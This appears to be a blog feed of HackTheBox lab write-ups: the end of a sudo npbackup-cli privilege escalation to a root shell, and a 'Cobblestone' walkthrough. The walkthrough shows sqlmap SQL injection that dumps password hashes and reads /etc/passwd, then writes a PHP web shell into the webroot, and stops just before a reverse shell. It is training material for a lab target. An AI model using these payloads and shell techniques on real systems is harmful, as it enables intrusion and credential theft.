2025-08-17 10:52:51,264 :: CRITICAL :: External backend binary /home/marco/test-b cannot be found.
2025-08-17 10:52:51,271 :: INFO :: ExecTime = 0:00:00.054665, finished, state is: critical.
^[[Dmarco@codetwo:~$ sudo /usr/local/bin/npbackup-cli --config /home/marco/npbackup.conf --external-backend-binary=/home/marco/test -b --repo-name default
2025-08-17 10:52:55,725 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-17 10:52:55,752 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2025-08-17 10:52:55,819 :: ERROR :: Runner: Function backup failed with: &apos;NoneType&apos; object has no attribute &apos;strip&apos;
2025-08-17 10:52:55,819 :: ERROR :: Trace:
Traceback (most recent call last):
  File &quot;/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py&quot;, line 698, in wrapper
    return fn(self, *args, **kwargs)
  File &quot;/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py&quot;, line 496, in wrapper
    result = fn(self, *args, **kwargs)
  File &quot;/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py&quot;, line 674, in wrapper
    result = fn(self, *args, **kwargs)
  File &quot;/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py&quot;, line 625, in wrapper
    return fn(self, *args, **kwargs)
  File &quot;/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py&quot;, line 566, in wrapper
    return fn(self, *args, **kwargs)
  File &quot;/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py&quot;, line 636, in wrapper
    result = self._apply_config_to_restic_runner()
  File &quot;/usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py&quot;, line 963, in _apply_config_to_restic_runner
    self.restic_runner.binary = self.binary
  File &quot;/usr/local/lib/python3.8/dist-packages/npbackup/restic_wrapper/__init__.py&quot;, line 585, in binary
    version = self.binary_version
  File &quot;/usr/local/lib/python3.8/dist-packages/npbackup/restic_wrapper/__init__.py&quot;, line 599, in binary_version
    return output.strip()
AttributeError: &apos;NoneType&apos; object has no attribute &apos;strip&apos;
2025-08-17 10:52:55,823 :: ERROR :: Cannot decode JSON from restic data: the JSON object must be str, bytes or bytearray, not bool
2025-08-17 10:52:55,823 :: ERROR :: Cannot find processed bytes: &apos;total_bytes_processed&apos;
2025-08-17 10:52:55,823 :: ERROR :: Backend finished with errors.
2025-08-17 10:52:55,823 :: WARNING :: Cannot get exec time from environment
2025-08-17 10:52:55,823 :: ERROR :: Operation finished
2025-08-17 10:52:55,829 :: INFO :: ExecTime = 0:00:00.106691, finished, state is: errors.
marco@codetwo:~$ ls
backups  npbackup.conf  test  user.txt
marco@codetwo:~$ bash -p
bash-5.0# cd /root
bash-5.0# ls
root.txt  scripts
bash-5.0# cat root.txt
1b9acae4d1c52171f24xxxxxxxx
bash-5.0# 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;And Boom We Got Root flag
&lt;code&gt;1b9acae4d1c52171f24xxxxxxxx&lt;/code&gt;
&lt;img src=&quot;image-7.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Cobblestone HTB Writeup (Protected)</title><link>https://shadowv0id.vercel.app/posts/hackthebox/cobblestone/cobblestone/</link><guid isPermaLink="true">https://shadowv0id.vercel.app/posts/hackthebox/cobblestone/cobblestone/</guid><description>There is no excerpt because this is a protected post.</description><pubDate>Mon, 11 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;script&amp;gt;
async function verifyHash() {
const passInput = document.getElementById(&quot;pass-input&quot;).value.trim();&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!passInput) {
  document.getElementById(&quot;error&quot;).textContent = &quot;❌ Please enter a password&quot;;
  return;
}

try {
  const response = await fetch(&quot;https://passowrd-backend-production.up.railway.app/api/unlock&quot;, {
    method: &quot;POST&quot;,
    headers: { &quot;Content-Type&quot;: &quot;application/json&quot; },
    body: JSON.stringify({ password: passInput, postId: &quot;era&quot; })
  });

  const res = await response.json();
  console.log(res);

  if (res.success) {
    document.getElementById(&quot;protected-content&quot;).style.display = &quot;block&quot;;
    document.getElementById(&quot;locked&quot;).style.display = &quot;none&quot;;
    document.getElementById(&quot;error&quot;).textContent = &quot;&quot;;
  } else {
    document.getElementById(&quot;error&quot;).textContent = &quot;❌ Wrong password&quot;;
  }
} catch (error) {
  console.error(&quot;Error during unlock:&quot;, error);
  document.getElementById(&quot;error&quot;).textContent = &quot;❌ Server error, try again later&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;h2&gt;IP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;10.10.xx.xx&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ nmap $target_ip  -sC -sV -Pn 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-11 12:12 EDT
Nmap scan report for 10.10.11.81
Host is up (0.45s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
|_  256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://cobblestone.htb/
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.00 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p&amp;gt;We got hostname&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h3&gt;Host&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cobblestone.htb&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Website Enumeartion&lt;/h2&gt;
&lt;h2&gt;Port 80&lt;/h2&gt;
&lt;p&gt;check the Website : &lt;code&gt;http://cobblestone.htb/&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A Minecraft-inspired gaming hub welcomes us:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;01.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;locked&quot; style=&quot;
font-family: Arial, sans-serif;
max-width: 400px;
margin: 20px auto;
padding: 15px;
border-radius: 12px;
background: rgba(255, 255, 255, 0.25);
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
border: 1px solid rgba(255, 255, 255, 0.3);
box-shadow: 0 8px 32px 0 rgba(31, 38, 135, 0.37);
color: #1a1a1a;
&quot;&amp;gt;
&amp;lt;p style=&quot;font-weight: bold; font-size: 1.1rem; margin-bottom: 12px; color: #fff;&quot;&amp;gt;&amp;lt;strong&amp;gt;This writeup is password protected 🔒&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;input
style=&quot;width: 100%; padding: 8px 10px; font-size: 1rem; border: 1px solid rgba(255, 255, 255, 0.6); border-radius: 6px; box-sizing: border-box; margin-bottom: 10px; background: rgba(255,255,255,0.3); color: #0d1a36;&quot;
id=&quot;pass-input&quot;
type=&quot;password&quot;
placeholder=&quot;Enter password&quot;
/&amp;gt;
&amp;lt;button   style=&quot;width: 100%; background-color: rgba(0, 123, 255, 0.7); color: #e0eaff; border: none; padding: 10px; font-size: 1rem; border-radius: 6px; cursor: pointer; backdrop-filter: none;&quot; onclick=&quot;verifyHash()&quot;&amp;gt;Unlock&amp;lt;/button&amp;gt;
&amp;lt;p id=&quot;error&quot; style=&quot;color: #b00020; margin-top: 8px; font-size: 0.9rem;&quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;protected-content&quot; style=&quot;display:none&quot;&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The design seems strangely recognizable—three distinct gateways await:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Subdomain&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;02.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;when you click on these three images on home page which was running on port &lt;code&gt;80&lt;/code&gt; it was redirecting to another &lt;code&gt;subdomains&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;deploy.cobblestone.htb
cobblestone.htb/login.php
vote.cobblestone.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;lets add in to &lt;code&gt;/etc/hosts&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;since we already have &lt;code&gt;cobblestone.htb&lt;/code&gt; so lets add rest&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;10.10.11.81 cobblestone.htb vote.cobblestone.htb deploy.cobblestone.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Subdomains Enumeration&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;vote.cobblestone.htb
&lt;img src=&quot;03.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;deploy.cobblestone.htb
&lt;img src=&quot;04.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;As we see in &lt;code&gt;vote.cobblestone.htb&lt;/code&gt; it was redirecting to &lt;code&gt;http://vote.cobblestone.htb/login.php&lt;/code&gt; soe we have login page in that we have register ! Lets register with some fake credits&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;05.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After login on when you check &lt;code&gt;vote.cobblestone.htb&lt;/code&gt; have some webpage having some voting&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;06.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;now lets go home page on &lt;code&gt;cobblestone.htb&lt;/code&gt; lets click on those images for to confirm again.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;when click on the second image it was still showing login page
&lt;img src=&quot;07.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;lets try with registered credits
&lt;img src=&quot;08.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;it saying  &lt;code&gt;User was not found&lt;/code&gt; lets try to register by clicking beside of login&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;09.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;we go register success
&lt;img src=&quot;10.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;lets login
after login we it was redirecting to  &lt;code&gt;cobblestone.htb/skins.php&lt;/code&gt;
&lt;img src=&quot;11.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Testing&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Lets go to first url &lt;code&gt;http://vote.cobblestone.htb/index.php&lt;/code&gt; there we see the beside of the vote we have &lt;code&gt;suggest&lt;/code&gt; lets see there what it was&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;12.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ok ! Here we need to add some &lt;code&gt;URL&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;lets try with our site &lt;code&gt;pwncrafts.vercel.app&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;13.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ok ! Our status is &lt;code&gt;false&lt;/code&gt; also assing some id on url &lt;code&gt;http://vote.cobblestone.htb/details.php?id=12&lt;/code&gt;
The voting system is merely an illusion, yet it enables server communication through a URL parameter for&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;lets see on brup by adding the url&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;14.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ok ! we have the reuqest now lets try to add another url like &lt;code&gt;pwncrafts.google.com&lt;/code&gt; for to confirm the id was assing to each URL we added. and observe on brup&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;url added
&lt;img src=&quot;15.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Whether it’s approved or not doesn’t matter what counts is that we’ve set up a basic request–response link. The id parameter starts at &lt;code&gt;4&lt;/code&gt; and increases sequentially:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;brup confirm That id= is parameter.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;16.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::Note&lt;/p&gt;
&lt;p&gt;when we obsrve the unapproved url was deleting after some time so i just add the old url and it assigned teh new id as &lt;code&gt;4&lt;/code&gt;. also on textbox &lt;code&gt;Suggestion #4&lt;/code&gt; you see #4 is changing as of its &lt;code&gt;id&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;17.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A textbook &lt;code&gt;IDOR&lt;/code&gt; emerges so An exploitable attack vector revealed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;WEB&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt;SQLi&amp;lt;/h2&amp;gt;
&amp;lt;h3&amp;gt;Entry Discovery&amp;lt;/h3&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Inserting a lone &lt;code&gt;a&apos;&lt;/code&gt; into the suggestion POST request on repeter plunges us into an unforeseen error condition:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;18.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No response only a malfunctioning page.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Change to &lt;code&gt;a&apos;-- -&lt;/code&gt; and the server partially shows its cards: the HTML comes back, but the data payload is completely gone:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;19.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A subtle yet hopeful indication—potential grounds for SQL injection.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Sqlmap&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Capture the suggest request for offline work:
&lt;img src=&quot;20.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;save it as any name but in .req
&lt;img src=&quot;21.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Without any rate limiting present, we can send payloads without restriction. Crank up the flags and launch:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -r mysuggest.req -p url \
	  --dbs \
  	--risk=3 --level=5 \
  	--batch
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;SQLi confirmed:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;22.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Post Injection &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;sqlmap&lt;/code&gt; has already fingerprinted:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::note&lt;/p&gt;
&lt;p&gt;&quot;I found a UNION-based SQL injection on parameter url using 5 columns, and here&apos;s the exact payload I used to prove it.&quot;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Parameter: url (POST)
   Type: UNION query
   Title: Generic UNION query (NULL) - 5 columns
   Payload: url=-4680&apos; UNION ALL SELECT NULL,CONCAT(0x7162786b71,0x73434e574973764e4a5842735261776b5858636569534f5666686d72715a517571706d4761637166,0x716a7a7071),NULL,NULL,NULL-- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Minimal Proof-of-Concept:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;url=&apos; UNION ALL SELECT NULL,&apos;Axura&apos;,NULL,NULL,NULL-- -
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;At this point, sqlmap can transition to pulling data or accessing the filesystem.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Enumeration&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;List of databases:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ sqlmap -r mysuggest.req -p url \
	  --dbs \
  	--batch
  	
available databases [2]:
[*] information_schema
[*] vote
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;we have table &lt;code&gt;vote&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ sqlmap -r mysuggest.req -p url \
	  -D vote --tables \
  	--batch
  	
Database: vote
[2 tables]
+-------+
| users |
| votes |
+-------+
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;we have users:
lets see what columnts present in that users&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ sqlmap -r mysuggest.req -p url \
	  -D vote -T users --columns
  	
[02:08:43] [INFO] retrieved: id
[02:08:48] [INFO] retrieved: username
[02:09:01] [INFO] retrieved: firstname                                                                                           
[02:09:13] [INFO] retrieved: email
[02:13:00] [INFO] retrieved: lastname
[02:13:47] [INFO] retrieved: password
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;ok we have &lt;code&gt;username&lt;/code&gt; &amp;amp; &lt;code&gt;password&lt;/code&gt; ! Lets Dump credentials:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ sqlmap -r mysuggest.req -p url \
    -D vote -T users \
    -C username,password \
    --dump --batch

Database: vote
Table: users
[2 entries]
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86 |
| pwncrafts| $2y$10$ZDqxFveA3d6eYI.0alpZauum/mbn3eCLLr5QFqNFtSebeOkhUnYRe |
+----------+--------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Heavy hashes though.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;File Read / Write&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After verifying a UNION-based injection, we can determine if a file exists on the target machine using MySQL’s &lt;code&gt;LOAD_FILE() &lt;/code&gt;function—sqlmap conveniently offers built-in options (&lt;code&gt;--file-read&lt;/code&gt;, &lt;code&gt;--file-write&lt;/code&gt;) for this purpose.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;lets read primitive:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ sqlmap -r mysuggest.req -p url --batch \
       --file-read=&quot;/etc/passwd&quot;
       
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd (same file)


$ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
cobble:x:1000:1000:cobble,,,:/home/cobble:/bin/rbash
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
tftp:x:104:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
john:x:1001:1001:,,,:/home/john:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;we got users: &lt;code&gt;john&lt;/code&gt;, &lt;code&gt;cobble&lt;/code&gt;.
lets Write primitive:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Demonstrated that we’re capable of writing files beyond the webroot:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ echo &apos;&amp;lt;?php @system($_REQUEST[&quot;x&quot;]); echo &quot;hello world&quot; ?&amp;gt;&apos; &amp;gt; shell.php


$ sqlmap -r mysuggest.req -p url  --batch \
       --file-write=&quot;shell.php&quot; \
       --file-dest=&quot;/tmp/pwned&quot;
     
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_tmp_pwned (same file)


$ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_tmp_pwned
&amp;lt;?php @system($_REQUEST[&quot;x&quot;]); echo &quot;hello world&quot; ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;After confirming the file is in the webroot, execute it to gain a reverse shell—complete control secured.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Should this be unintended for an insane-level machine?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;RCE&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt;Web Shell&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Armed with a file write primitive, our goal changes—drop a payload in a spot Apache will gladly serve and run. A minimal PHP web shell becomes our weapon of choice.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The server signature indicates Debian with Apache &lt;code&gt;2.4.62&lt;/code&gt; in operation:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;23.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Step one—retrieve Apache’s site configuration to chart the landscape:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;/etc/apache2/sites-enabled/000-default.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Expose the file using the read primitive:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^cobblestone.htb$
        RewriteRule /.* http://cobblestone.htb/ [R]
        ServerName 127.0.0.1
        ProxyPass &quot;/cobbler_api&quot; &quot;http://127.0.0.1:25151/&quot;
        ProxyPassReverse &quot;/cobbler_api&quot; &quot;http://127.0.0.1:25151/&quot;
&amp;lt;/VirtualHost&amp;gt;

&amp;lt;VirtualHost *:80&amp;gt;
        ServerName cobblestone.htb

        ServerAdmin cobble@cobblestone.htb
        DocumentRoot /var/www/html

        &amp;lt;Directory /var/www/html&amp;gt;
                AAHatName cobblestone
        &amp;lt;/Directory&amp;gt;

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^cobblestone.htb$
        RewriteRule /.* http://cobblestone.htb/ [R]

        Alias /cobbler /srv/www/cobbler

        &amp;lt;Directory /srv/www/cobbler&amp;gt;
                Options Indexes FollowSymLinks
                AllowOverride None
                Require all granted
        &amp;lt;/Directory&amp;gt;

&amp;lt;/VirtualHost&amp;gt;

&amp;lt;VirtualHost *:80&amp;gt;
        ServerName deploy.cobblestone.htb

        ServerAdmin cobble@cobblestone.htb
        DocumentRoot /var/www/deploy

        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^deploy.cobblestone.htb$
        RewriteRule /.* http://deploy.cobblestone.htb/ [R]
&amp;lt;/VirtualHost&amp;gt;

&amp;lt;VirtualHost *:80&amp;gt;
        ServerName vote.cobblestone.htb

        ServerAdmin cobble@cobblestone.htb
        DocumentRoot /var/www/vote

        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^vote.cobblestone.htb$
        RewriteRule /.* http://vote.cobblestone.htb/ [R]
&amp;lt;/VirtualHost&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Test the minimal PHP command executor via &lt;code&gt;http://cobblestone.htb/.index.php?x=id&lt;/code&gt;:
&lt;img src=&quot;24.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Reverse Shell&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nevertheless, the &lt;code&gt;/var/www/html&lt;/code&gt; directory appears to be secured. We confirmed curl is available in the PATH (using which curl), but it cannot connect to our attacker &lt;code&gt;IP—outbound&lt;/code&gt; internet access is blocked.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;After further testing, I discovered that the &lt;code&gt;/var/www/vote&lt;/code&gt; path is unrestricted, allowing us to upload a small malicious shell (with PHP file size also limited) onto the target:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -r mysuggest.req -p url  --batch \
       --file-write=&quot;shell.php&quot; \
       --file-dest=&quot;/var/www/vote/.index.php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Through  &lt;code&gt;http://vote.cobblestone.htb/.index.php&lt;/code&gt;, trigger a reverse shell where Python is verified to be installed:&lt;/p&gt;
&lt;/blockquote&gt;
